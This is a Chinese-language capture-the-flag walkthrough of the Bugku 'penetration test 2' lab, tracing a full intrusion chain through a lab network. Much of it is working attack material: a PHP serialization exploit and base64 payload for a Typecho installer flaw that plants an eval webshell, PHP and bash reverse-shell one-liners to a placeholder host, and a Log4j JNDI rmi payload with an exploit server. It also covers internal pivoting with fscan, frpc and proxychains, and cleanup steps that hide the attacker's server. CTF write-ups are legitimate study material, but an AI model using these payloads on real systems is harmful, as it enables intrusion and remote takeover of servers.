526互联

bugku渗透测试2 WP

发布时间 2023-10-08 10:41:08作者: BattleofZhongDinghe

bugku渗透测试2 WP


先fscan一段扫,无果

然后nmap扫全端口,无果

之后回到web端查看指纹,发现希望

发现这个有nday漏洞

<?php
class Typecho_Feed 
{ 
	const RSS1 = 'RSS 1.0'; 
	const RSS2 = 'RSS 2.0'; 
	const ATOM1 = 'ATOM 1.0'; 
	const DATE_RFC822 = 'r'; 
	const DATE_W3CDTF = 'c'; 
	const EOL = "\n"; 
	private $_type; 
	private $_items; 
	
	public function __construct(){
    $this->_type = $this::RSS2; 
    $this->_items[0] = array( 
    	'title' => '1', 
    	'link' => '1', 
    	'date' => 1508895132, 
    	'category' => array(new Typecho_Request()), 
    	'author' => new Typecho_Request(), 
    	); 
  	} 
} 
class Typecho_Request 
{ 
	private $_params = array(); 
	private $_filter = array(); 
	public function __construct(){ 
	$this->_params['screenName'] = 'echo "<?php phpinfo();@eval(\$_POST[1]);?>" > shell.php';    
	$this->_filter[0] = 'system'; 
	} 
} 
 
$exp = array( 
	'adapter' => new Typecho_Feed(), 
	'prefix' => 'typecho_' 
); 
 
echo base64_encode(serialize($exp));
?>

之后传参

get:http://47.102.44.129/install.php?finish=a
post:
__typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YTo1OntzOjU6InRpdGxlIjtzOjE6IjEiO3M6NDoibGluayI7czoxOiIxIjtzOjQ6ImRhdGUiO2k6MTUwODg5NTEzMjtzOjg6ImNhdGVnb3J5IjthOjE6e2k6MDtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjU1OiJlY2hvICI8P3BocCBwaHBpbmZvKCk7QGV2YWwoXCRfUE9TVFsxXSk7Pz4iID4gc2hlbGwucGhwIjt9czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfZmlsdGVyIjthOjE6e2k6MDtzOjY6InN5c3RlbSI7fX19czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO3M6NTU6ImVjaG8gIjw/cGhwIHBocGluZm8oKTtAZXZhbChcJF9QT1NUWzFdKTs/PiIgPiBzaGVsbC5waHAiO31zOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9maWx0ZXIiO2E6MTp7aTowO3M6Njoic3lzdGVtIjt9fX19fXM6NjoicHJlZml4IjtzOjg6InR5cGVjaG9fIjt9


蚁剑连接

flag1
在根目录下读到flag

没有wget命令
php反弹shell
如果php -r的方法不行的话

php -r '$sock=fsockopen("xxx",6666);system("/bin/bash -i <&4 >&4 2>&4");'

可以把

<?php $sock=fsockopen("xxx",6666);exec("/bin/sh -i <&3 >&3 2>&3");?>

写到一个文件里,然后php x.php

提高shell交互性

python3 -c 'import pty; pty.spawn("/bin/bash")'

flag2
读取到config.inc.php配置文件

生成哥斯拉的shell



利用哥斯拉上传fscan,查看内网网段,扫描

192.168.0.2:3306 open
192.168.0.2:80 open
192.168.0.1:80 open
192.168.0.3:80 open
192.168.0.1:22 open
[*] alive ports len is: 5
start vulscan
[*] WebTitle: http://192.168.0.1        code:200 len:3392   title:Harry's Blog
[*] WebTitle: http://192.168.0.2        code:200 len:3392   title:Harry's Blog
[*] WebTitle: http://192.168.0.3        code:200 len:4789   title:Bugku后台管理系统
[+] mysql:192.168.0.2:3306:root

socks5代理
访问http://192.168.0.3/

目录扫描发现source.zip源码泄露(正规解法应该是burp发现返回包有source.zip字段)
进行简单的代码审计
主要就两个文件
Log4j2CtfApplication.java

package com.example.log4j2ctf;

import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;

@SpringBootApplication
public class Log4j2CtfApplication {

    public static void main(String[] args) {
        SpringApplication.run(Log4j2CtfApplication.class, args);
    }

}

DamnVulnerableLog4j.java

package com.example.log4j2ctf.controller;

import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RestController;

import javax.servlet.http.HttpServletResponse;

@RestController
public class DamnVulnerableLog4j {

    private final Logger logger = LoggerFactory.getLogger(this.getClass());
    private int count = 0;

    @PostMapping("/login")
    public String login(String user, String pwd, HttpServletResponse response) {
        response.addHeader("Source", "/source.zip");
        /*
         *
         *
         */
        logger.info("用户登录失败，用户名不存在：" + user);

        return "用户名或密码错误，次数 " + (count++);
    }

}

现在我们需要考虑三个问题:
1.利用哪一个漏洞(log4j,根据文件的名字得出来的,也可以根据文件中的log日志回想起2021的log4j漏洞)
2.知道了是log4j漏洞,利用点在哪里(在输入用户名的地方,因为代码中有logger.info("用户登录失败，用户名不存在：" + user);,可以拼接log4j的ldap,rmi等相关注入)
3.知道了利用点在哪里,log4j有很多个payload,该用哪一个(springboot的那个,因为pom.xml中有springboot的相关配置,这个应该利用springboot的相关框架,猜测)
然后将JNDI-Injection-Exploit-1.0.jar上传到vps上

bash -i >& /dev/tcp/xxx/6666 0>&1
bash -c {echo,xxx}|{base64,-d}|{bash,-i}
java -jar JNDI-Injection-Exploit-1.0.jar -C "bash -c {echo,xxx}|{base64,-d}|{bash,-i}" -A "xxx"

选择sprintboot
payload:${jndi:rmi://xxx:xxx/xxx}
将payload放在用户名处

然后nc监听
接受到反弹的shell
一上来就是root

flag4
cat /flag
读取到/start.sh
flag5
发现/root/flag也有flag
flag3
全局搜索flag
在环境变量中发现三个flag

ip address发现还有别的网卡

利用wget远程下载fscan,frpc,frpc.ini
扫描192.168.1.0-255

192.168.1.3:80 open
192.168.1.1:80 open
192.168.1.2:80 open
192.168.1.1:22 open
[*] alive ports len is: 4
start vulscan
[*] WebTitle: http://192.168.1.1        code:200 len:3392   title:Harry's Blog
[*] WebTitle: http://192.168.1.2        code:200 len:4789   title:Bugku后台管理系统
[*] WebTitle: http://192.168.1.3        code:200 len:524    title:乙公司Git仓库
已完成 3/4 [-] ssh 192.168.1.1:22 root P@ssw0rd! ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
已完成 3/4 [-] ssh 192.168.1.1:22 root Aa123123 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
已完成 3/4 [-] ssh 192.168.1.1:22 admin admin123 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
已完成 3/4 [-] ssh 192.168.1.1:22 admin Aa1234 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
已完成 4/4
[*] 扫描结束,耗时: 4m43.657692575s


http://192.168.1.3/

填入https://github.com/bugku/BWVS.git,在点进去的时候找到了flag



flag6

flag7
之后想getshell
猜测输入仓库的话服务器会直接克隆到本地,要是仓库里面有一个webshell的话,会不会直接getshell了
自己创建一个新仓库,配置ssh密钥,关掉keep my email address private,然后先克隆到本地

git clone xxx
git add .
git commit -m "xxx"
git push

自己仓库地址:https://github.com/TheBeastofwar/webshell-repository
getshell后读取到源码

<html>
 <head>
  <meta charset="utf-8">
  <title>乙公司Git仓库</title>
 </head>
 <body>
    <p>乙公司Git仓库</p>
    <form method="post">
        <label for="repourl">Repository’s clone URL</label><br>
        <input id="repourl" type="input" name="repourl" placeholder="https://github.com/bugku/BWVS.git" style="width: 400px;height: 30px;margin-bottom: 10px;margin-top: 10px;"><br/>
        <input type="submit" value="Submit" />
    </form>
    <p>注意:可以使用自己的服务器。</p>
<?php 
    if (isset($_REQUEST['repourl']) && !empty($_REQUEST['repourl'])) {
        $repourl = escapeshellarg($_REQUEST['repourl']);
        @chdir("/var/www/html/repos/");
        shell_exec("git clone --recursive $repourl");
        echo 'See your project at: <a href="/repos">Repos</a>';
    }
?>
 </body>
</html>

查看网段

上传哥斯拉的shell.phtml
然后利用哥斯拉上传fscan,frpc.frpc.ini
fscan扫描

(icmp) Target 10.10.0.3       is alive
(icmp) Target 10.10.0.2       is alive
(icmp) Target 10.10.0.1       is alive
[*] Icmp alive hosts len is: 3
10.10.0.1:80 open
10.10.0.2:80 open
10.10.0.1:22 open
10.10.0.3:21 open
[*] alive ports len is: 4
start vulscan
[*] WebTitle: http://10.10.0.2          code:200 len:524    title:乙公司Git仓库
[*] WebTitle: http://10.10.0.1          code:200 len:3368   title:Harry's Blog
已完成 2/4 [-] ssh 10.10.0.1:22 root qwe123 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain

开放了21端口
再看一下提示

猜测是ftp服务的用户名和密码 guest/guest
配置proxychains

proxychains ftp 10.10.0.3



flag8
get flag

flag9
cd /
get flag


后续处理
关掉frpc,删掉frpc.ini(里面暴露了自己vps的ip地址)

ps -aux | grep frp > 1.txt
cat 1.txt
kill -9 xxx

遇坑反思:
在反弹shell的中,如果遇到卡的时间长的话按ctrl+c想退出的话会直接退出shell